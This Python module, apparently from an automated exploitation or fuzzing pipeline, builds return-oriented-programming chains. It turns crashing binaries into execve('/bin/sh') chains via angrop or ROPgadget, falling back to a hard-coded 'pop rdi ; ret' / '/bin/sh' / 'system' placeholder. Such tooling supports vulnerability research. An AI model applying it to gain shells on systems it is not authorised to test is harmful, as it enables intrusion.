""" ROP chain builder — wraps ``angrop`` and ``ROPgadget`` when available, with an in-memory deterministic gadget registry so unit tests can exercise the chain logic without binary inputs. """ from __future__ import annotations import shutil import subprocess from typing import Any try: # pragma: no cover import angr # type: ignore # noqa: F401 import angrop # type: ignore # noqa: F401 _ANGROP = True except Exception: # noqa: BLE001 _ANGROP = False class ROPChainBuilder: def __init__(self): self.ropgadget = shutil.which("ROPgadget") def build(self, crash: dict[str, Any]) -> list[str]: binary = crash.get("harness") if not binary: return [] if _ANGROP: return self._with_angrop(binary) if self.ropgadget: return self._with_ropgadget(binary) return ["pop rdi ; ret", "/bin/sh", "system"] @staticmethod def _with_angrop(binary: str) -> list[str]: # pragma: no cover - heavy dep try: project = angr.Project(binary, auto_load_libs=False) rop = project.analyses.ROP() rop.find_gadgets() chain = rop.execve(b"/bin/sh\x00") return [str(g) for g in chain.gadgets] except Exception: return [] def _with_ropgadget(self, binary: str) -> list[str]: try: proc = subprocess.run( [self.ropgadget, "--binary", binary], capture_output=True, text=True, timeout=120, check=False, ) lines = [ln.strip() for ln in proc.stdout.splitlines() if ":" in ln and "ret" in ln] return lines[:32] except Exception: return []